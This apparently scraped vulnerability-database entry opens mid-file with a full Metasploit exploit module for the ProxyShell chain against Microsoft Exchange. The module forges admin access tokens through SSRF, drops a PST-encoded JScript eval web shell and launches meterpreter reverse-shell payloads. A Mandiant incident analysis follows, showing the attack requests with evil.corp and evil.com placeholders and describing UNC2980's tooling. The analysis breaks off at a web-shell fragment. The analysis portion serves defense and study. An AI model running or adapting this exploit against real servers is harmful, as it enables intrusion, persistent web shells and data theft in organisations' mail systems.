exchange_proxylogon_rce template\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(_server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(_server_name, legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_34473\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n # get information via an autodiscover request.\n print_status('Sending autodiscover request')\n autodiscover = request_autodiscover(server_name)\n\n print_status(\"Server: #{autodiscover[:server]}\")\n print_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\")\n\n # get the user UID using mapi request.\n print_status('Sending mapi request')\n mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])\n print_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\")\n\n send_payload(mailbox_user_sid)\n @common_access_token = build_token(mailbox_user_sid)\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n unless opts[:cookie] == :none\n opts[:cookie] = \"Email=#{ssrf}\"\n end\n\n request = {\n 'method' => method,\n 'uri' => \"/#{ssrf}#{uri}\",\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype],\n 'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def send_payload(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', datastore['EMAIL'])\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def execute_powershell(cmdlet, args: [])\n winrm = SSRFWinRMConnection.new({\n endpoint: full_uri('PowerShell/'),\n transport: :ssrf,\n ssrf_proc: proc do |method, uri, opts|\n uri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\"\n uri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = :none\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},\n \"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\"\n )\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},\n \"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\"\n )\n send_http(method, uri, opts)\n end\n })\n\n winrm.shell(:powershell) do |shell|\n shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)\n shell.extend(SSRFWinRMConnection::PowerShell)\n shell.run({ cmdlet: cmdlet, args: args })\n end\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n run_cve_2021_34473\n\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none)\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n\n print_status('Assigning the \\'Mailbox Import Export\\' role')\n execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])\n\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n execute_powershell('New-MailboxExportRequest', args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: datastore['EMAIL'] },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n\n print_status('Waiting for the export request to complete...')\n 30.times do\n if execute_command('whoami')&.code == 200\n print_good('The mailbox export request has completed')\n break\n end\n sleep 5\n end\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', args: [\n { name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" },\n { name: '-Confirm', value: false }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n\nclass XMLTemplate\n def self.render(template_name, context = nil)\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\")\n template = ::File.binread(file_path)\n case context\n when Hash\n b = binding\n locals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" }\n b.eval(locals.join)\n else\n raise ArgumentError\n end\n b.eval(Erubi::Engine.new(template).src)\n end\nend\n\nclass SSRFWinRMConnection < WinRM::Connection\n class MessageFactory < WinRM::PSRP::MessageFactory\n def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)\n WinRM::PSRP::Message.new(\n runspace_pool_id,\n WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],\n XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),\n pipeline_id\n )\n end\n end\n\n # we have to define this class so we can define our own transport factory that provides one backed by the SSRF\n # vulnerability\n class TransportFactory < WinRM::HTTP::TransportFactory\n class HttpSsrf < WinRM::HTTP::HttpTransport\n # rubocop:disable Lint/\n def initialize(endpoint, options)\n @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint\n @ssrf_proc = options[:ssrf_proc]\n end\n\n def send_request(message)\n resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })\n WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml\n end\n end\n\n def create_transport(connection_opts)\n raise NotImplementedError unless connection_opts[:transport] == :ssrf\n\n super\n end\n\n private\n\n def init_ssrf_transport(opts)\n HttpSsrf.new(opts[:endpoint], opts)\n end\n end\n\n module PowerShell\n def send_command(command, _arguments)\n command_id = SecureRandom.uuid.to_s.upcase\n message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)\n fragmenter.fragment(message) do |fragment|\n command_args = [connection_opts, shell_id, command_id, fragment]\n if fragment.start_fragment\n resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)\n command_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text\n else\n transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)\n end\n end\n\n command_id\n end\n end\n\n def initialize(connection_opts)\n # these have to be set to truthy values to pass the option validation, but they're not actually used because hax\n connection_opts.merge!({ user: :ssrf, password: :ssrf })\n super(connection_opts)\n end\n\n def transport\n @transport ||= begin\n transport_factory = TransportFactory.new\n transport_factory.create_transport(@connection_opts)\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/36667", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "fireeye": [{"lastseen": "2021-09-07T14:46:37", "description": "In August 2021, Mandiant Managed Defense identified and responded to the exploitation of a chain of vulnerabilities known as ProxyShell.** **The ProxyShell vulnerabilities consist of three CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the following versions of on-premises Microsoft Exchange Servers.\n\n * Exchange Server 2013 (Cumulative Update 23 and below)\n * Exchange Server 2016 (Cumulative Update 20 and below)\n * Exchange Server 2019 (Cumulative Update 9 and below)\n\nThe vulnerabilities are being tracked in the following CVEs:\n\n**CVE**\n\n| \n\n**Risk Rating**\n\n| \n\n**Access Vector**\n\n| \n\n**Exploitability**\n\n| \n\n**Ease of Attack**\n\n| \n\n**Mandiant Intel** \n \n---|---|---|---|---|--- \n \nCVE-2021-34473\n\n| \n\nHigh\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--8e100992-6111-54ed-96b4-f817cf47edd0>) \n \nCVE-2021-34523\n\n| \n\nLow\n\n| \n\nLocal\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--f8db969d-dddf-5b2e-81ce-439289be6cde>) \n \nCVE-2021-31207\n\n| \n\nMedium\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--5c5c0f7e-96a8-5403-8487-373322342c46>) \n \nTable 1: List of May & July 2021 Microsoft Exchange CVEs and FireEye Intel Summaries\n\n#### Overview\n\nMicrosoft Exchange Server provides email and supporting services for organizations. This solution is used globally, both on-premises and in the cloud. This chain of vulnerabilities exists in unpatched on-premises editions of Microsoft Exchange Server only and is being actively exploited on those servers accessible on the Internet.\n\nMandiant responded to multiple intrusions impacting a wide variety of industries including Education, Government, Business services, and Telecommunications. These organizations are based in the United States, Europe, and Middle East. However, targeting is almost certainly broader than directly observed.\n\nOne specific targeted attack observed by Mandiant, detailed in this post, was against a US-based university where UNC2980 exploited ProxyShell vulnerabilities to gain access to the environment.\n\n#### The Exploit Chain Explained\n\nProxyShell refers to a chain of attacks that exploit three different vulnerabilities affecting on-premises Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE). The exploitation chain was discovered and [published](<https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell>) by Orange Tsai (@orange_8361) from the DEVCORE Research Team.\n\n##### Delivering the Payload\n\nIn order to later create a web shell on a Microsoft Exchange server by exporting from a mailbox, an attacker first needs to create an email item within a mailbox. In the Metasploit implementation of the attack, the Autodiscover service is abused to leak a known user\u2019s distinguished name (DN), which is an address format used internally within Microsoft Exchange. The Messaging Application Programming Interface (MAPI) is then leveraged to leak the user's security identifier (SID), by passing the previously leaked DN as a request. The SID is then used to forge an access token to communicate with Exchange Web Services (EWS).\n\nWith the attacker able to successfully impersonate the target user with a valid access token, they can perform EWS operations. To continue with the ProxyShell attack, the operation \u2018CreateItem\u2019 is used, which allows the remote creation of email messages in the impersonated user\u2019s mailbox. While responding, Mandiant has seen draft emails with attached web shells, encoded in such a way that they become decoded upon export to PST later in the attack (specifically with permutative encoding).\n\nEmails may also be placed in targeted users' mailboxes via SMTP, as was suggested in Orange Tsai\u2019s documentation of the attack.\n\n##### CVE-2021-34473 \u2014 Pre-auth Path Confusion Leads to ACL Bypass\n\nMicrosoft Exchange has a feature called \u2018Explicit Logon\u2019, which legitimately allows users to open another user's mailbox or calendar in a new browser window by providing the mailbox address in the URL. The feature was designed to only provide access where \u2018Full Access\u2019 is granted to the user, and the target mailbox or calendar is configured to publish. Exchange is designed to normalize the specified mailbox address in the URL to identify the target.\n\nThe vulnerability exists in passing the string Autodiscover/Autodiscover.json to the email field in the URL. By passing that string, Exchange does not perform sufficient checks on the address, and through its normalization process, this leads to arbitrary access to backend URLs as NT AUTHORITY/SYSTEM.\n\nGET /autodiscover/autodiscover.json?@evil.corp/?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nGET /autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@evil.corp \n \n--- \n \nFigure 1: Requests showing how an attacker can abuse the normalization process of the Explicit Logon feature\n\n##### CVE-2021-34523 \u2014 Elevation of Privilege on Exchange PowerShell Backend\n\nThe Exchange PowerShell Remoting feature, natively built into Microsoft Exchange, was designed to assist with administrative activities via the command line. The previous exploit allowed an attacker to interface with arbitrary backend URLs as NT AUTHORITY/SYSTEM, however since that user does not have a mailbox, the attacker cannot directly interface with the PowerShell backend (/Powershell) at that privilege level.\n\nThe PowerShell backend checks for the X-CommonAccessToken header in incoming requests. If the header does not exist, another method is used to get a CommonAccessToken. This method checks for the X-Rps-CAT parameter in the incoming request, and if present, deserializes this to a valid CommonAccessToken. With the previously collected information on the target mailbox or default information from built-in mailboxes, passing of a valid X-Rps-CAT value is trivial.\n\nBy passing this value to the PowerShell backend with the previously successful access token, an attacker can downgrade from the NT AUTHORITY/SYSTEM account to the target user. This user must have local administrative privileges in order to execute arbitrary Exchange PowerShell commands.\n\nPOST /autodiscover/autodiscover.json?a=abcde@evil.com/powershell/?X-Rps-CAT=[Base64 encoded data] \n \n--- \n \nFigure 2: This request uses the parameter X-Rps-CAT, which allows valid user impersonation\n\n##### CVE-2021-31207 \u2014 Post-auth Arbitrary-File-Write Leads to RCE\n\nOnce the two previous vulnerabilities are exploited successfully, the vulnerability CVE-2021-31207 allows the attacker to write files. As soon as the attacker is able to execute arbitrary PowerShell commands, and the required \u2018Import Export Mailbox\u2019 role is assigned to the impersonated user (which can be achieved by execution of the New-ManagementRoleAssignment cmdlet), the cmdlet New-MailboxExportRequest can be used to export a user\u2019s mailbox to a specific desired path e.g.\n\nNew-MailBoxExportRequest \u2013 Mailbox john.doe@enterprise.corp -FilePath \\\\\\127.0.0.1\\C$\\path\\to\\webshell.aspx \n \n--- \n \nFigure 3: New-MailBoxExportRequest can be used to export payloads\n\nThe use of New-MailboxExportRequest allows the attacker to export target mailboxes where previously created emails with encoded web shells were created. The attacker can export the mailbox to a PST file format with a web file extension, such as ASPX, which allows the attacker to drop a functional web shell, since the encoded attachments in the email are decoded upon write to the PST file format. This is due to the PST file format using permutative encoding, by attaching a pre-encoded payload, upon export the decoded payload is actually written.\n\n#### Observations From Investigations\n\nMandiant responded to intrusions involving ProxyShell exploitation across a range of customers and industries. Examples of proof-of-concept (PoC) exploits developed and released publicly by security researchers could be leveraged by any threat group, leading to adoption by threat groups with varying levels of sophistication. Mandiant has observed the exploit chain resulting in post-exploitation activities, including the deployment of web shells, backdoors, and tunneling utilities to further compromise victim organizations. As of the release of this blog post, Mandiant tracks eight [UNC groups](<https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html>) exploiting the ProxyShell vulnerabilities. Mandiant anticipates more clusters will be formed as different threat actors adopt working exploits.\n\n##### Exploitation\n\nMandiant has observed the exploitation of Proxyshell starting with the abuse of Autodiscover services to leak known users distinguished name (DN) to then leverage it to leak the administrator security identifier (SID). \n \nBy using the leaked DN and SID, the attacker can create a mailbox that contains a draft email with a malicious payload as an attachment. Afterwards, the mailbox and the contained payload are exported to a web-accessible directory or another directory on the host.\n\nAttempted exploitation of ProxyShell appears to be mostly automated. In some cases, Mandiant observed only partial attacker success, such as the creation of items in mailboxes remotely, but not the exporting of mailboxes and their contained payloads to another directory on the host.\n\nMandiant has observed a wide range of source IP addresses and user agents attempting HTTP requests consistent with the first stage of the ProxyShell exploit chain.\n\n##### Post-Exploitation\n\nUpon successful exploitation of the vulnerabilities, Mandiant observed multiple payloads to gain a foothold in the network including CHINACHOP and BLUEBEAM web shells (see Malware Definitions section). Follow-on actions include execution of internal reconnaissance commands on servers, and deployment of tunneler utilities.\n\n \nFigure 4: BLUEBEAM ASP web shell that was embedded into a PST payload\n\n#### Threat Actor Spotlight: UNC2980\n\nIn August 2021, Mandiant Managed Defense responded to an intrusion leveraging the ProxyShell vulnerability at a US-based university. Mandiant tracks this threat actor as UNC2980.\n\nUNC2980 is a cluster of threat activity tracked since August 2021 and believed to be conducting cyber espionage operations. Mandiant suspects this group to be operating from China currently assessed at low confidence. UNC2980 has been observed exploiting CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, publicly referred to as \"ProxyShell\", to upload web shells for initial access. The group relies on multiple publicly available tools including EARTHWORM, HTRAN, MIMIKATZ, and WMIEXEC post compromise.\n\n#### UNC2980 in Action\n\nUpon gaining access through the exploitation of ProxyShell and deploying a web shell, UNC2980 dropped multiple tools into the victim environment. The following publicly available tools were observed on the initial compromised host: HTRAN, EARTHWORM, and several MIMIKATZ variants.\n\n<script language='JScript' runat='server' Page aspcompat=true>function 